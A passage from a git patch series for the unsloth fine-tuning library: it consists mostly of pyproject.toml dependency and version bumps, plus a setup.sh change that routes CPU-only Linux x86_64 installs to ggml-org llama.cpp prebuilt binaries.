= [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.4.2", + "unsloth_zoo>=2026.4.3", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.4.2", + "unsloth_zoo>=2026.4.3", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.4.2", + "unsloth_zoo>=2026.4.3", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From e8355451eae64f2ae7e43c95ff712c97f4507a11 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 15 Apr 2026 08:07:33 -0700 Subject: [PATCH 11/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 2c9ec4466a..e11e070cd9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.4.3", + "unsloth_zoo>=2026.4.7", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.4.3", + "unsloth_zoo>=2026.4.7", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.4.3", + "unsloth_zoo>=2026.4.7", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 0c24d61708d62d318d8106fde8dc531c90dc5267 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 16 Apr 2026 12:06:55 -0700 Subject: [PATCH 12/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index e11e070cd9..540520de9f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.4.7", + "unsloth_zoo>=2026.4.8", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.4.7", + "unsloth_zoo>=2026.4.8", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.4.7", + "unsloth_zoo>=2026.4.8", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 2e3b2bdc2716ca3311b48ef3d27baa631a2180ec Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 5 May 2026 05:27:54 -0700 Subject: [PATCH 13/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 540520de9f..31281ca754 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.4.8", + "unsloth_zoo>=2026.5.1", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.4.8", + "unsloth_zoo>=2026.5.1", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.4.8", + "unsloth_zoo>=2026.5.1", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 41abe8904142493acabad913f44f1f7ffd9b82b9 Mon Sep 17 00:00:00 2001 From: danielhanchen Date: Wed, 6 May 2026 00:25:04 +0000 Subject: [PATCH 14/39] Bump version to 2026.5.2 Cuts a new PyPI release that ships PR #5296: Studio chat history and attachments work again with newer @assistant-ui/react, plus the pinned assistant-ui surface and frontend package-lock.json so future installs cannot drift back onto a broken bundle. --- unsloth/models/_utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py index 1120e1941d..34fec53504 100644 --- a/unsloth/models/_utils.py +++ b/unsloth/models/_utils.py @@ -12,7 +12,7 @@ # See the License for the specific language governing permissions and # limitations under the License. -__version__ = "2026.5.1" +__version__ = "2026.5.2" __all__ = [ "SUPPORTS_BFLOAT16", From 2c4bf9ae358a80cd2e4020d33134d3816a9b6498 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 5 May 2026 23:22:22 -0700 Subject: [PATCH 15/39] Route CPU-only Linux x86_64 to ggml-org/llama.cpp prebuilts (#5302) * Route CPU-only Linux x86_64 to ggml-org/llama.cpp prebuilts setup.sh hard-coded _HELPER_RELEASE_REPO=unslothai/llama.cpp for every non-Darwin host. unslothai/llama.cpp only publishes Linux CUDA bundles (app-*-linux-x64-cuda*.tar.gz), so a CPU-only Linux host walked ~30 releases looking for a non-existent app-*-linux-x64-cpu asset, exited the prebuilt planner with "no compatible Linux prebuilt asset was found", and fell through to a source build. Free CI runners (ubuntu-latest with no GPU) hit this on every install, and anyone running Studio on a Linux laptop without an NVIDIA GPU paid the ~3 minute cmake+make cost on first install. ggml-org publishes llama--bin-ubuntu-x64.tar.gz on every release and install_llama_prebuilt.py already knows how to fetch it: when called with --published-repo ggml-org/llama.cpp, the Linux x86_64 + not has_usable_nvidia branch in direct_upstream_release_plan picks up that asset directly. The fix is purely on the routing side. Tighten the gate so a Linux host routes to ggml-org only when it is x86_64 and has no GPU detection tool installed (nvidia-smi, rocminfo, amd-smi, hipconfig, hipinfo). Everything else stays on the current path: - macOS: already on ggml-org, unchanged - Windows: already on ggml-org via setup.ps1, unchanged - Linux CUDA: nvidia-smi present -> unslothai/llama.cpp, unchanged - Linux ROCm: rocminfo / amd-smi / hipconfig / hipinfo present -> unslothai/llama.cpp -> source build with HIP, unchanged - Linux Intel / Vulkan / SYCL: no NVIDIA / AMD tools, hits the new ggml-org route, gets upstream CPU asset (same as today's source-build CPU output, ~3 min faster) - Linux arm64 / s390x: not x86_64 -> unslothai/llama.cpp -> source build, unchanged * Tighten routing comment in studio/setup.sh --- studio/setup.sh | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/studio/setup.sh b/studio/setup.sh index 3e875eed30..1b6a3db343 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -582,11 +582,30 @@ _LLAMA_CPP_DEGRADED=false _LLAMA_FORCE_COMPILE="${UNSLOTH_LLAMA_FORCE_COMPILE:-0}" _REQUESTED_LLAMA_TAG="${UNSLOTH_LLAMA_TAG:-${_DEFAULT_LLAMA_TAG}}" _HOST_SYSTEM="$(uname -s 2>/dev/null || true)" +_HOST_MACHINE="$(uname -m 2>/dev/null || true)" + +# Pick the release repo install_llama_prebuilt.py plans against. +# unslothai/llama.cpp ships only Linux CUDA bundles, so CPU-only Linux +# x86_64 routes to ggml-org for bin-ubuntu-x64.tar.gz. Anything with a +# GPU tool installed stays on unslothai (CUDA bundle / ROCm source build). +_LINUX_HAS_GPU=false +for _GPU_TOOL in nvidia-smi rocminfo amd-smi hipconfig hipinfo; do + if command -v "$_GPU_TOOL" >/dev/null 2>&1; then + _LINUX_HAS_GPU=true + break + fi +done + if [ "$_HOST_SYSTEM" = "Darwin" ]; then _HELPER_RELEASE_REPO="ggml-org/llama.cpp" +elif [ "$_HOST_SYSTEM" = "Linux" ] \ + && [ "$_HOST_MACHINE" = "x86_64" ] \ + && [ "$_LINUX_HAS_GPU" = false ]; then + _HELPER_RELEASE_REPO="ggml-org/llama.cpp" else _HELPER_RELEASE_REPO="unslothai/llama.cpp" fi +unset _GPU_TOOL _LLAMA_PR="${UNSLOTH_LLAMA_PR:-}" _SKIP_PREBUILT_INSTALL=false _LLAMA_PR_FORCE="${UNSLOTH_LLAMA_PR_FORCE:-${_DEFAULT_LLAMA_PR_FORCE}}" From e1fe3be939a1412d6d5832fb3bce7068ea7f1e0f Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 18 May 2026 06:30:03 -0700 Subject: [PATCH 16/39] Update pyproject.toml --- pyproject.toml | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 31281ca754..457178baba 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.5.1", + "unsloth_zoo>=2026.5.2", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -76,16 +76,18 @@ studio = [ "frontend/*.yaml", "frontend/.git*", "backend/requirements/**/*", + "backend/plugins/**/*", "backend/core/data_recipe/oxc-validator/*.json", "backend/core/data_recipe/oxc-validator/*.mjs", ] [tool.setuptools.packages.find] -exclude = ["images*", "tests*", "kernels/moe*"] +include = ["unsloth*", "unsloth_cli*", "studio", "studio.backend*"] +exclude = ["images*", "tests*", "*.node_modules", "*.node_modules.*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.5.1", + "unsloth_zoo>=2026.5.2", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +475,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.5.1", + "unsloth_zoo>=2026.5.2", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From d482382a92154492c0ac62f9ef086e1783cc7fa6 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 18 May 2026 06:39:41 -0700 Subject: [PATCH 17/39] Sync pyproject.toml fixes from main into pip (#5555) - Add missing cu124onlytorch240 extras (xformers==0.0.28.post1) - Add sentence-transformers to huggingface and colab-new extras - Add triton extras group (split out from main deps) - Add windows extras group - Drop xformers<0.0.27 cap in colab-no-deps; gate on linux/win + x86_64 - Add [tool.ruff] config (target py311, lint select/ignore, extend-exclude) - Add [tool.pytest.ini_options] testpaths = ["tests/security"] Only PyPI-compatible (version-pin) entries copied; URL-based intel/amd/rocm/ flashattentiontorch* extras from main are intentionally skipped. --- pyproject.toml | 51 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 50 insertions(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 457178baba..182118a3fd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -86,6 +86,10 @@ include = ["unsloth*", "unsloth_cli*", "studio", "studio.backend*"] exclude = ["images*", "tests*", "*.node_modules", "*.node_modules.*"] [project.optional-dependencies] +triton = [ + "triton>=3.0.0 ; ('linux' in sys_platform)", + "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", +] huggingface = [ "unsloth_zoo>=2026.5.2", "wheel>=0.42.0", @@ -105,11 +109,17 @@ huggingface = [ "diffusers", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", "trl>=0.18.2,!=0.19.0,<=0.24.0", + "sentence-transformers", "typer", "pydantic", "pyyaml", "nest-asyncio", ] +windows = [ + "unsloth[huggingface]", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0 ; (sys_platform == 'win32')", + "xformers>=0.0.22.post7 ; (sys_platform == 'win32')", +] base = [ "unsloth[huggingface]", ] @@ -149,6 +159,9 @@ cu118onlytorch240 = [ cu121onlytorch240 = [ "xformers==0.0.27.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] +cu124onlytorch240 = [ + "xformers==0.0.28.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", +] cu118onlytorch250 = [ "xformers==0.0.28.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] @@ -490,6 +503,7 @@ colab-new = [ "hf_transfer", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[triton]", + "sentence-transformers", "typer", "pydantic", "pyyaml", @@ -499,7 +513,7 @@ colab-no-deps = [ "accelerate>=0.34.1", "trl>=0.18.2,!=0.19.0,<=0.24.0", "peft>=0.18.0", - "xformers<0.0.27", + "xformers ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "protobuf", ] @@ -739,3 +753,38 @@ cu130-ampere-torch2100 = [ homepage = "https://unsloth.ai" documentation = "https://unsloth.ai/docs" repository = "https://github.com/unslothai/unsloth" + +[tool.ruff] +target-version = "py311" +force-exclude = true +extend-exclude = [ + "*chat_templates.py", + "*ollama_template_mappers.py", + "*_auto_install.py", + "*mapper.py", +] + +[tool.ruff.lint] +select = ["E9", "F63", "F7", "F82"] +ignore = [ + "E402", + "E722", + "F403", + "F405", + "F811", + "F821", + "F841", + "F401", + "E731", + "E741", + "F601", + "E712", +] + +[tool.ruff.format] + +[tool.pytest.ini_options] +# Narrow the default test discovery so `pytest` from the repo root +# does NOT pick up the GPU-heavy tests under tests/python, tests/qlora, +# etc. The CI security job runs `pytest tests/security` explicitly. +testpaths = ["tests/security"] From 405add94a11dafebd20343ed2d81848f292b1511 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 19 May 2026 07:00:38 -0700 Subject: [PATCH 18/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 182118a3fd..22ab718f9c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.5.2", + "unsloth_zoo>=2026.5.3", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.5.2", + "unsloth_zoo>=2026.5.3", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.5.2", + "unsloth_zoo>=2026.5.3", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From e2215c9d11c7398bf4f3a675e9670eb5281ff08e Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 22 May 2026 09:24:40 -0700 Subject: [PATCH 19/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 22ab718f9c..53f2dd7979 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.5.3", + "unsloth_zoo>=2026.5.4", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.5.3", + "unsloth_zoo>=2026.5.4", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.5.3", + "unsloth_zoo>=2026.5.4", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From e31d4c6aea86de85cbe33223bd970a5557eae2eb Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Sun, 31 May 2026 07:11:09 -0700 Subject: [PATCH 20/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 53f2dd7979..f6094e1c7d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.5.4", + "unsloth_zoo>=2026.5.5", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.5.4", + "unsloth_zoo>=2026.5.5", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.5.4", + "unsloth_zoo>=2026.5.5", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From ff1088af40649df52908004bcd4346520eefeb58 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 3 Jun 2026 06:36:36 -0700 Subject: [PATCH 21/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f6094e1c7d..266bab9559 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.5.5", + "unsloth_zoo>=2026.6.1", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.5.5", + "unsloth_zoo>=2026.6.1", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.5.5", + "unsloth_zoo>=2026.6.1", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 43c669e6ec580206660995bf5cf15ca71e7f4c93 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 10 Jun 2026 11:11:36 -0700 Subject: [PATCH 22/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 266bab9559..424266073b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.1", + "unsloth_zoo>=2026.6.2", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.1", + "unsloth_zoo>=2026.6.2", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.1", + "unsloth_zoo>=2026.6.2", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From fc9d82f6bfe964aaf25e23f618144cf6e18643c1 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 11 Jun 2026 09:22:35 -0700 Subject: [PATCH 23/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 424266073b..dcd5d91491 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.2", + "unsloth_zoo>=2026.6.3", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.2", + "unsloth_zoo>=2026.6.3", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.2", + "unsloth_zoo>=2026.6.3", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 0e929cddac18a228e832e1268d02a6c567d7acdf Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 12 Jun 2026 06:35:51 -0700 Subject: [PATCH 24/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index dcd5d91491..648aad3ae1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.3", + "unsloth_zoo>=2026.6.4", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.3", + "unsloth_zoo>=2026.6.4", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.3", + "unsloth_zoo>=2026.6.4", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From c9aa094c91e51ab3e8695d14cf26d2df46cee23f Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Sat, 13 Jun 2026 04:43:58 -0700 Subject: [PATCH 25/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 648aad3ae1..178dc06d66 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.4", + "unsloth_zoo>=2026.6.5", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.4", + "unsloth_zoo>=2026.6.5", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.4", + "unsloth_zoo>=2026.6.5", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 287243a8fdcceb3d61878fadc5f6ac2282546c4c Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 18 Jun 2026 10:37:48 -0700 Subject: [PATCH 26/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 178dc06d66..a33def608e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.6.6", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.6.6", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.6.6", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 12f34025dc4ba2c55b87cf79925f480868e8ec68 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 22 Jun 2026 09:01:36 -0700 Subject: [PATCH 27/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index a33def608e..98f94965ae 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.6", + "unsloth_zoo>=2026.6.7", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.6", + "unsloth_zoo>=2026.6.7", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.6", + "unsloth_zoo>=2026.6.7", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 2f111da0f6066214e0c6194a307a188452102bfc Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 7 Jul 2026 06:20:52 -0700 Subject: [PATCH 28/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 98f94965ae..e25da828d4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.6.7", + "unsloth_zoo>=2026.7.1", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 